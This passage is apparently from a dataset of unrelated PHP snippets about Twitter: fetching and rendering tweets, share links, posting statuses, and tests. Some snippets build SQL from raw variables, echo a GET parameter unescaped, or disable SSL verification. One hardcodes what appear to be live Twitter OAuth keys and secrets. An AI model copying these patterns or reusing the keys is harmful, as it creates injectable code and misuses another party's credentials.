array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.tweet_comment,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.created,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.tags,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.favorite,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.user_id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'Tweet_comment.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.id = favorites.content_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left', \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array('Tweet_comment.comment_type = \"tweets\" AND Tweet_comment.content_id='.$content_id),'group' => 'Tweet_comment.id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\t\t\n\t\t$this->set('user_tweet_comments',$user_tweet_comments);\n\n\t\t$this->autorender = false;\n\t $this->layout = false;\n\t $this->render('add_tweet_replay');\n\t\t}", "public function displayTweets()\n {\n $twitter = '';\n\n $tweets = $this->cacheJson();\n $tweets = json_decode($tweets, true);\n\n $id = $tweets[0]['user']['screen_name'];\n\n $twitter .= \"<ul id='wow-$id' class='wow-twitter'>\";\n if (!empty($tweets)) {\n foreach ($tweets as $tweet) {\n if (array_key_exists('extended_entities', $tweet)) {\n $media = $tweet['extended_entities']['media'][0]['media_url_https'];\n } else {\n $media = null;\n }\n\n $pubDate = $tweet['created_at'];\n $tweet = $tweet['text'];\n\n $today = time();\n $time = substr($pubDate, 11, 5);\n $day = substr($pubDate, 0, 3);\n $date = substr($pubDate, 7, 4);\n $month = substr($pubDate, 4, 3);\n $year = substr($pubDate, 25, 5);\n $english_suffix = date('jS', strtotime(preg_replace('/\\s+/', ' ', $pubDate)));\n $full_month = date('F', strtotime($pubDate));\n\n\n #pre-defined tags\n $month = $full_month . $date . $year;\n $full_date = $day . $date . $month . $year;\n $ddmmyy = $date . $month . $year;\n $mmyy = $month . $year;\n $mmddyy = $month . $date . $year;\n $ddmm = $date . $month;\n\n #Time difference\n $timeDiff = $this->dateDiff($today, $pubDate, 1);\n\n # Turn URLs into links\n $tweet = preg_replace('@(https?://([-\\w\\.]+)+(:\\d+)?(/([\\w/_\\./-]*(\\?\\S+)?)?)?)@', '<a target=\"blank\" title=\"$1\" href=\"$1\">$1</a>', $tweet);\n\n #Turn hashtags into links\n $tweet = preg_replace('/#([0-9a-zA-Z_-]+)/', \"<a target='blank' title='$1' href=\\\"http://twitter.com/search?q=%23$1\\\">#$1</a>\", $tweet);\n\n #Turn @replies into links\n $tweet = preg_replace(\"/@([0-9a-zA-Z_-]+)/\", \"<a target='blank' title='$1' href=\\\"http://twitter.com/$1\\\">@$1</a>\", $tweet);\n\n\n $twitter .= \"<li class='tweet'>{$tweet}<br />\";\n if ($this->displayImages):\n if (!is_null($media)) {\n $twitter .= \"<img src='{$media}'alt=''>\";\n }\n endif;\n\n $style = $this->style;\n\n if (isset($style)) {\n if (!empty($style)) {\n $when = ($style == 'time_since' ? 'About' : 'On');\n $twitter.=\"<strong>\" . $when . \"&nbsp;\";\n\n switch ($style) {\n case 'eng_suff': {\n $twitter .= $english_suffix . '&nbsp;' . $full_month;\n }\n break;\n case 'time_since': {\n $twitter .= $timeDiff . \"&nbsp;ago\";\n }\n break;\n case 'ddmmyy': {\n $twitter .= $ddmmyy;\n }\n break;\n case 'ddmm': {\n $twitter .= $ddmm;\n }\n break;\n case 'full_date': {\n $twitter .= $full_date;\n }\n break;\n case 'month': {\n $twitter .= $month;\n }\n } //end switch statement\n $twitter .= \"</strong></li>\"; //end of List\n }\n }\n } //end of foreach\n } else {\n $twitter .= '<li>Sorry No Tweets Available</li>';\n } //end if statement\n $twitter .= '</ul>'; //end of Unordered list (Notice it's after the foreach loop!)\n return $twitter;\n }", "function tweeter($id,$kategori){\n \n $status=0;\n switch ($kategori) {\n case 1://fokus\n $sql_find=\"select judul_id,waktu from fokus where id='$id' limit 1 \";\n $result= mysql_query($sql_find)or die(mysql_error());\n while ($row = mysql_fetch_object($result)) {\n $tmp=$row->waktu;\n $judul=$row->judul_id;\n $tmp2= explode(\" \", $tmp);\n $waktu= str_replace(\"-\", \"/\", $tmp2[0]);\n $url=\"http://presidenri.go.id/index.php/fokus/$waktu/$id.html\";\n $status=1;\n } \n break;\n case 2://topik\n $sql_find=\"select judul_id,waktu from topik where id='$id' limit 1 \";\n echo $sql_find;\n $result= mysql_query($sql_find)or die(mysql_error());\n while ($row = mysql_fetch_object($result)) {\n $tmp=$row->waktu;\n $judul=$row->judul_id;\n $tmp2= explode(\" \", $tmp);\n $waktu= str_replace(\"-\", \"/\", $tmp2[0]);\n $url=\"http://presidenri.go.id/index.php/topik/$waktu/$id.html\";\n $status=1;\n } \n break;\n default:\n break;\n }\n if($status==1){\n $teks=\"$judul $url\";\n \n require_once('TwitterAPIExchange.php');\n\t\t $settings = array(\n\t 'oauth_access_token' => \"1358901308-lbkkKzr3D0WT9X7ULWriRCPOmVztPGIzDyFjtfG\",\n\t 'oauth_access_token_secret' => \"ctSR9hC2Kyug48P9OCvUhREULZif9avSvO4twq3Y8\",\n\t 'consumer_key' => \"kiiYPDyZS3UgfSolEF1A\",\n\t 'consumer_secret' => \"2x2W8Ni9pwuoaNV7ZuEgpbrCPpnT7l9EqHFtPezvp0\"\n\t );\n\n\t /** URL for REST request, see: https://dev.twitter.com/docs/api/1.1/ **/\n\t $url = 'https://api.twitter.com/1.1/statuses/update.json';\n\t $requestMethod = 'POST';\n\n\t $postfields = array(\n\t 'status' => \"$url\"\n\t );\n\t /** POST fields required by the URL above. See relevant docs as above **/\n\t /*$postfields = array(\n\t 'screen_name' => 'usernameToBlock', \n\t 'skip_status' => '1'\n\t );\n\t */\n\t /** Perform a POST request and echo the response **/\n\t $twitter = new TwitterAPIExchange($settings);\n\t /* echo $twitter->buildOauth($url, $requestMethod)\n\t\t ->setPostfields($postfields)\n\t\t ->performRequest();\n\t*/\n }\n}", "function twitter()\n{\n\t$ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, 'http://api.twitter.com/1/statuses/user_timeline.json?screen_name=sarahleeashraf&count=5');\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\t$json_vars = curl_exec($ch);\n\tcurl_close($ch);\n\t\n\t$timeline = json_decode($json_vars);\n\t\n\t$tweets = '<ul>';\n\t\n\tforeach ($timeline as $tweet)\n\t{\n\t\n\t\t$tweets .= '<li><p>';\n\t\t$tweets .= $tweet->text . '<br />';\n\t\t$tweets .= '<span class=\\'small\\'>';\n\t\t$tweets .= '<a href=\\'http://www.twitter.com/sarahleeashraf/status/' . $tweet->id . '/\\'>' . $tweet->created_at . '</a></span></p>';\n\t\t$tweets .= '</li>';\n\t}\n\t\n\t$tweets .= '</ul>';\n\t\n\treturn $tweets;\n}", "public function getTweetLinks($tweet){\n $tweet = preg_replace(\"/(https?:\\/\\/)([\\w]+.)([\\w\\.]+)/\", \"<a href='$0' target='_blank'>$0</a>\", $tweet);\n \n \n// $tweet = preg_replace(pattern, replacement, subject)\n $tweet = preg_replace(\"/#([\\w]+)/\", \"<a href='\".BASE_URL.\"hashtag/$1'>$0</a>\", $tweet);\n $tweet = preg_replace(\"/@([\\w]+)/\", \"<a href='\".BASE_URL.\"hashtag/$1'>$0</a>\", $tweet);\n// $tweet = preg_replace(\"/(www?.)([\\w\\.]+)/\", \"<a href='$0' target='_blank'>$0</a>\", $tweet);\n return $tweet;\n}", "public function getTweetLinks($tweet){\n $tweet = preg_replace(\"/(https?:\\/\\/)([\\w]+.)([\\w\\.]+)/\", \"<a href='$0' target='_blank'>$0</a>\", $tweet);\n \n \n// $tweet = preg_replace(pattern, replacement, subject)\n $tweet = preg_replace(\"/#([\\w]+)/\", \"<a href='\".BASE_URL.\"hashtag/$1'>$0</a>\", $tweet);\n $tweet = preg_replace(\"/@([\\w]+)/\", \"<a href='\".BASE_URL.\"hashtag/$1'>$0</a>\", $tweet);\n// $tweet = preg_replace(\"/(www?.)([\\w\\.]+)/\", \"<a href='$0' target='_blank'>$0</a>\", $tweet);\n return $tweet;\n}", "function awaiting_trigger_check() {\n\t\tif(intval(get_query_var('lepress-teacher-awaiting')) == 1) {\n\t\t\t//WP default header is 404, have to override it\n\t\t\theader(\"HTTP/1.0 200 OK\");\n\t\t\tif(isSet($_GET['w'])) {\n\t\t\t\techo $this->getAwaitingBubble($_GET['w']);\n\t\t\t}\n\t\t\texit;\n\t\t}\n \t}", "function ts_get_recent_tweet($return_array = false) {\r\n\t\r\n\t$username = ts_get_twitter_username();\r\n\tif ($username === false)\r\n\t{\r\n\t\treturn '';\r\n\t}\r\n\t$cache = get_option('theme-recent-tweet');\r\n\t\r\n\t//display from cache, skip cache if username is changed\r\n\tif (is_array($cache) && $cache['username'] == $username && ((int)$cache['time'] + (5 * 60)) > time())\r\n\t{\r\n\t\tif (isset($cache['tweets']) && !empty($cache['tweets'])) {\r\n\t\t\treturn $cache;\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\t//get fromt twitter\r\n\telse\r\n\t{\r\n\t\trequire_once get_template_directory().'/framework/class/tmhOAuth.php';\r\n\t\trequire_once get_template_directory().'/framework/class/tmhUtilities.php';\r\n\t\t$tmhOAuth = new tmhOAuth($a = array(\r\n\t\t\t'consumer_key' => ot_get_option('twitter_consumer_key'),\r\n\t\t\t'consumer_secret' => ot_get_option('twitter_consumer_secret'),\r\n\t\t\t'user_token' => ot_get_option('twitter_user_token'),\r\n\t\t\t'user_secret' => ot_get_option('twitter_token_secret'),\r\n\t\t\t'curl_ssl_verifypeer' => false\r\n\t\t));\r\n\r\n\r\n\t\t$code = $tmhOAuth->request('GET', $tmhOAuth->url('1.1/statuses/user_timeline'), array(\r\n\t\t 'screen_name' => $username));\r\n\t\t$response = $tmhOAuth->response;\r\n\r\n\t\t$tweets = null;\r\n\t\tif ($response['code'] == 200 && isset($response['response']) && !empty($response['response'])) {\r\n\t\t\t$tweets = json_decode($response['response']);\r\n\t\r\n\t\t} else {\r\n\t\t\t$tweets = json_decode($response['response']);\r\n\t\t\t\r\n\t\t\treturn array(\r\n\t\t\t\t'is_error' => true,\r\n\t\t\t\t'error' => (isset($tweets -> errors[0] -> message) ? $tweets -> errors[0] -> message : 'Unknown error')\r\n\t\t\t);\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\tif ($response['code'] == 200) {\r\n\t\t\t\r\n\t\t\tif (is_array($tweets) && count($tweets) > 0) {\r\n\r\n\t\t\t\t$data = array(\r\n\t\t\t\t\t\t'time' => time(),\r\n\t\t\t\t\t\t'username' => $username,\r\n\t\t\t\t\t\t'tweets' => $response['response'],\r\n\t\t\t\t\t\t'is_error' => false\r\n\t\t\t\t);\r\n\t\t\t\t\r\n\t\t\t} else {\r\n\r\n\t\t\t\t$data = array(\r\n\t\t\t\t\t'time' => time(),\r\n\t\t\t\t\t'username' => $username,\r\n\t\t\t\t\t'tweets' => '',\r\n\t\t\t\t\t'is_error' => false\r\n\t\t\t\t);\r\n\t\t\t}\r\n\t\t\tupdate_option('theme-recent-tweet',$data);\r\n\t\t\treturn $data;\r\n\t\t}\r\n\t}\r\n}", "public function testGetUsersTweetsUserHasLessTweets()\n {\n self::$container->get(\"generic_api\")->generateTweets(50);\n $tweets = self::$container->get(\"twitter_api\")->getUsersTweets(\"user\", 100);\n $this->assertCount(50, $tweets);\n self::$container->get(\"twitter_api\")->clearCursors();\n\n self::$container->get(\"generic_api\")->generateTweets(250);\n $tweets = self::$container->get(\"twitter_api\")->getUsersTweets(\"user\", 201);\n $this->assertCount(200, $tweets);\n $tweets = self::$container->get(\"twitter_api\")->getUsersTweets(\"user\", 200);\n $this->assertCount(50, $tweets);\n\n self::$container->get(\"twitter_api\")->clearCursors();\n self::$container->get(\"generic_api\")->generateTweets(0);\n $tweets = self::$container->get(\"twitter_api\")->getUsersTweets(\"user\", 201);\n $this->assertCount(0, $tweets);\n }", "public function getSupported(){\r\n\t\treturn array( 'tweet' );\r\n\t}", "public static function checklevel_for_twitter_tweet($postid) {\n \n //Product Level\n $enablerewards = RSFunctionForSavingMetaValues::rewardsystem_get_post_meta($postid, '_socialrewardsystemcheckboxvalue');\n $gettype = RSFunctionForSavingMetaValues::rewardsystem_get_post_meta($postid, '_social_rewardsystem_options_twitter');\n $getpoints = RSFunctionForSavingMetaValues::rewardsystem_get_post_meta($postid, '_socialrewardsystempoints_twitter');\n $getpercent = RSFunctionForSavingMetaValues::rewardsystem_get_post_meta($postid, '_socialrewardsystempercent_twitter'); \n\n //Category Level\n $categorylist = wp_get_post_terms($postid, 'product_cat');\n $getcount = count($categorylist);\n $term = get_the_terms($postid,'product_cat');\n if(is_array($term)){\n foreach ($term as $terms){\n $termid = $terms->term_id;\n $categorylevel = RSFunctionForSavingMetaValues::rewardsystem_get_woocommerce_term_meta($termid, 'enable_social_reward_system_category');\n $categorylevelrewardtype = RSFunctionForSavingMetaValues::rewardsystem_get_woocommerce_term_meta($termid, 'social_twitter_enable_rs_rule');\n $categorylevelrewardpoints = RSFunctionForSavingMetaValues::rewardsystem_get_woocommerce_term_meta($termid, 'social_twitter_rs_category_points');\n $categorylevelrewardpercents = RSFunctionForSavingMetaValues::rewardsystem_get_woocommerce_term_meta($termid, 'social_twitter_rs_category_percent');\n } \n } \n\n //Global Level\n $global_enable = get_option('rs_global_social_enable_disable_reward');\n $global_reward_type = get_option('rs_global_social_reward_type_twitter');\n $global_reward_points = get_option('rs_global_social_twitter_reward_points');\n $global_reward_percent = get_option('rs_global_social_twitter_reward_percent'); \n\n if ($enablerewards == 'yes') {\n if ($gettype == '1') {\n if ($getpoints != '') {\n return '1';\n } else {\n if ($getcount >= '1') {\n if (($categorylevel == 'yes') || ($categorylevel != '')) {\n if ($categorylevelrewardtype == '1') {\n if ($categorylevelrewardpoints != '') {\n return '2';\n } else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '2';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '2';\n }\n }\n }\n }\n }\n } else {\n if ($categorylevelrewardtype == '2') {\n if ($categorylevelrewardpercents != '') {\n return '2';\n } else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '2';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '2';\n }\n }\n }\n }\n }\n }\n }\n }else{\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '3';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '3';\n }\n }\n }\n }\n }\n }else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '3';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '3';\n }\n }\n }\n }\n }\n }\n }else{\n if($getpercent != ''){\n return '1';\n } else {\n if ($getcount >= '1') {\n if (($categorylevel == 'yes') || ($categorylevel != '')) {\n if ($categorylevelrewardtype == '1') {\n if ($categorylevelrewardpoints != '') {\n return '2';\n } else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '2';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '2';\n }\n }\n }\n }\n }\n } else {\n if ($categorylevelrewardtype == '2') {\n if ($categorylevelrewardpercents != '') {\n return '2';\n } else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '2';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '2';\n }\n }\n }\n }\n }\n }\n }\n }else{\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '3';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '3';\n }\n }\n }\n }\n }\n }else {\n if ($global_enable == '1') {\n if ($global_reward_type == '1') {\n if ($global_reward_points != '') {\n return '3';\n }\n } else {\n if ($global_reward_type == '2') {\n if ($global_reward_percent != '') {\n return '3';\n }\n }\n }\n }\n }\n }\n }\n } \n }", "function sendTwitter($img, $text) {\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\n curl_setopt($ch, CURLOPT_URL, 'https://mobilepicam-bean2.rhcloud.com/start.php');\n curl_setopt($ch, CURLOPT_POST, true);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch, CURLOPT_POSTFIELDS, array('img' => '@/var/www/media/'.$img.';filename=picam.jpg','txt' => \"$text\"));\n curl_setopt($ch, CURLOPT_VERBOSE, true);\n curl_setopt($ch,CURLOPT_USERAGENT,\"Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36\");\n curl_setopt($ch, CURLOPT_HEADER, true);\n curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:') );\n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);\n curl_setopt($ch, CURLOPT_AUTOREFERER , true);\n curl_setopt($ch, CURLOPT_MAXREDIRS, 10);\n curl_setopt( $ch, CURLOPT_COOKIESESSION, true );\n curl_setopt( $ch, CURLOPT_COOKIEJAR, 'cookies.txt' );\n curl_setopt( $ch, CURLOPT_COOKIEFILE, 'cookies.txt' );\n $data = curl_exec($ch);\n $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);\n $header = substr($data, 0, $header_size);\n $body = substr($data, $header_size);\n preg_match(\"!\\r\\n(?:Location|URI): *(.*?) *\\r\\n!\", $header, $m);\n $redirectURL = $m[1];\n $time = $_SERVER['REQUEST_TIME'];\n\n $hash = array();\n foreach (file('cookies.txt') as $row) { \n list($domain, $ssl, $path, $notsure, $expire, $key, $value) = explode(\"\\t\", $row); \n $hash[\"$key\"] = $value;\n setcookie($key, $valeu, $time + 3600 * 30, 'twitter_test'); \n } \n //echo var_dump($hash);\n #preg_match_all('/^Set-Cookie:\\s*([^;]*)/mi', $data, $matches);\n #$cookies = array();\n #foreach($matches[1] as $item) {\n # $parts = explode(\"=\",$item);\n # $name = trim($parts[0]);\n # setcookie($name, $parts[1], $time + 3600 * 30, 'twitter_test','mobilepicam-bean2.rhcloud.com');\n #}\n\n\n header(\"Location: $redirectURL\");\n #print_r(\"Location: $redirectURL<br>\");\n //print_r(\"$header\");\n curl_close($ch);\n #echo $data;\n }", "function linkify_tweet($tweet) {\n\n //Convert urls to <a> links\n $tweet = preg_replace(\"/([\\w]+\\:\\/\\/[\\w-?&;#~=\\.\\/\\@]+[\\w\\/])/\", \"<a target=\\\"_blank\\\" href=\\\"$1\\\">$1</a>\", $tweet);\n\n //Convert hashtags to twitter searches in <a> links\n $tweet = preg_replace(\"/#([A-Za-z0-9\\/\\.]*)/\", \"<a target=\\\"_new\\\" href=\\\"http://twitter.com/search?q=$1\\\">#$1</a>\", $tweet);\n\n //Convert attags to twitter profiles in <a> links\n $tweet = preg_replace(\"/@([A-Za-z0-9\\/\\.]*)/\", \"<a href=\\\"http://www.twitter.com/$1\\\">@$1</a>\", $tweet);\n\n return $tweet;\n\n}", "private function twitter() {\n\t\t$url = 'https://twitter.com/intent/tweet?';\n\n\t\t$query = array(\n\t\t\t'*url' \t=> $this->_get_param( 'permalink' ),\n\t\t\t'text'\t=> $this->_get_param( 'title' ),\n\t\t\t'via'\t\t=> $this->_get_param( 'via' ),\n\t\t);\n\n\t\treturn $this->_create_query_string( $url, $query );\n\t}", "public function isPost(): bool {}", "public function twitter() : string\n {\n $parameters = [];\n\n if (empty($this->title) === false) {\n $parameters['text'] = $this->title;\n }\n\n if (empty($this->url) === false) {\n $parameters['url'] = $this->url;\n }\n\n return $this->createHtmlElement('a', [\n 'target' => '_blank',\n 'rel' => 'noopener',\n 'href' => 'https://twitter.com/intent/tweet?'.http_build_query($parameters),\n ], 'Twitter');\n }", "function forum_rss_newstuff($forum, $time) {\n // true. Otherwise it returns false.\n if ($forum->rsstype == 1) {\n $items = forum_rss_feed_discussions($forum, $time);\n } else {\n $items = forum_rss_feed_posts($forum, $time);\n }\n return (!empty($items));\n }", "public function getAllowDuplicateTwitterAccounts() {\n\t\treturn (bool) $this->allowDuplicateTwitterAccounts;\n\t}", "function ecsp_twitter_publish_post( $post_id, $user_id ) {\n\t$share_twitter = get_post_meta($post_id, 'ecsp_share_twitter', true );\n\t$share_all = get_post_meta($post_id, 'ecsp_share_all', true );\n\n\t// The user must have selected to share on Twitter, or share on All\n\tif ( !$share_twitter && !$share_all ) {\n\t\treturn;\n\t}\n\n\t// If the user does not have this account connected, abort. Might be due to \"all\" being checked.\n\tif ( !get_user_meta( $user_id, 'ecsp-twitter-access-token', true ) ) return;\n\n\t$twAuth = ecsp_get_twitter_auth_api();\n\tif ( !$twAuth ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Could not initialize the Twitter API' );\n\t\treturn;\n\t}\n\n\t// Get the user's message. This will include a link to the article.\n\t$user_message = ecsp_get_share_message( $post_id, 140, true );\n\n\tif ( !$user_message ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'The sharing message was not provided.' );\n\t\treturn;\n\t}\n\n\ttry {\n\t\t$result = $twAuth->post( 'statuses/update', array( 'status' => $user_message ) );\n\t} catch( Abraham\\TwitterOAuth\\TwitterOAuthException $e ) {\n\t\tupdate_post_meta( $post_id, 'ecsp-twitter-error', 'Twitter returned an error: ' . $e->getMessage() );\n\t\tdelete_post_meta( $post_id, 'ecsp-twitter-share-result' );\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Twitter returned an error: ' . $e->getMessage() );\n\t\treturn;\n\t}\n\n\tupdate_post_meta( $post_id, 'ecsp-twitter-share-result', $result );\n\tdelete_post_meta( $post_id, 'ecsp-twitter-error' );\n}", "function RT($api) {\n\t$filename = dirname(__FILE__) . \"/../json/\" . $api[\"username\"] . \"_\" . $api[\"userRT\"] . \"_id.json\";\n\t\n\tprint_r(\"Filaname: \" . $filename . \"\\n\");\n\t\n\t$data \t = fopen($filename, \"r\");\n\t$contents = json_decode(fread($data, filesize($filename)));\n\n\tfclose($data);\n\n\t$twitter = new Twitter($api);\n\t$tweets = $twitter->search($api[\"userRT\"], $contents->id);\n\t\n\tif($tweets and !empty($tweets) and isset($tweets->results)) {\n\t\tif(is_array($tweets->results) and count($tweets->results) > 0) {\n\t\t\tforeach($tweets->results as $key => $tweet) {\n\t\t\t\t$str = substr((string) $tweet->text, 0, 2);\n\t\t\t\t\n\t\t\t\tif($str != \"RT\" and $tweet->to_user_id == \"\") {\n\t\t\t\t\t$retweeted = $twitter->showRetweet($tweet->id_str);\n\t\t\t\t\t\n\t\t\t\t\tif(isset($retweeted->retweeted) and $retweeted->retweeted == FALSE) {\n\t\t\t\t\t\tprint_r(date('l jS \\of F Y h:i:s A') . \" id: \" . $tweet->id_str . \" - \" . $tweet->text . \" \\n\");\n\t\t\t\t\t\t$twitter->retweet($tweet->id_str);\n\t\t\t\t\t} elseif(!isset($retweeted->retweeted)) {\n\t\t\t\t\t\tprint_r(date('l jS \\of F Y h:i:s A') . \" id: \" . $tweet->id_str . \" - \" . $tweet->text . \" \\n\");\n\t\t\t\t\t\t$twitter->retweet($tweet->id_str);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif($key == 0) {\n\t\t\t\t\t$data = fopen($filename, \"w\");\n\t\t\t\t\tfwrite($data, '{\"id\" : \"' . $tweet->id_str . '\"}');\n\t\t\t\t\tfclose($data);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tsleep(40);\n\t\t\t}\n\t\t}\n\t}\n}", "public function insert(Tweet $tweet): bool\n {\n try {\n $tweet->save();\n return true;\n } catch (\\Exception $e){\n print_r($e->getMessage());\n }\n return false;\n }", "public function isSent() {}", "public function hasThreadTs(): bool\n {\n return ! empty($this->threadTS);\n }", "function PostTweetUsingTokens($consumer_key, $consumer_secret, $token, $secret, $status) {\n\tprint $toc = new TwitterOAuth($consumer_key, $consumer_secret, $token, $secret, $status);\n\ttry {\n\t\t$to = new TwitterOAuth($consumer_key, $consumer_secret, $token, $secret);\n\t\t$params = array (\n\t\t\t'status' => $status\n\t\t);\n\t\tprint $do_dm = simplexml_load_string($to->oAuthRequest('http://twitter.com/statuses/update.xml', 'POST', $params));\n\t\texit;\n\t} catch (Exception $o) {\n\t\treturn print_r($o);\n\t}\n}", "public function testTweetWithMediaFailure()\n\t{\n\t\t$status = 'This is a status';\n\t\t$media = 'path/to/source';\n\n\t\t$returnData = new stdClass;\n\t\t$returnData->code = 500;\n\t\t$returnData->body = $this->errorString;\n\n\t\t// Set POST request parameters.\n\t\t$data = array();\n\t\t$data['media[]'] = \"@{$media}\";\n\t\t$data['status'] = utf8_encode($status);\n\n\t\t$this->client->expects($this->once())\n\t\t\t->method('post')\n\t\t\t->with('/statuses/update_with_media.json', $data)\n\t\t\t->will($this->returnValue($returnData));\n\n\t\t$this->object->tweetWithMedia($status, $media);\n\t}", "function getTimeline($settings, $name)\r\n{\r\n$url = \"https://api.twitter.com/1.1/statuses/user_timeline.json\";\r\n$requestMethod = \"GET\";\r\n$count = 2;\r\n$user = $name;\r\n$getfield = '?screen_name='.$user.'&count='.$count;\r\n$twitter = new TwitterAPIExchange($settings);\r\n$string = json_decode($twitter->setGetfield($getfield)\r\n->buildOauth($url, $requestMethod)\r\n->performRequest(),$assoc = 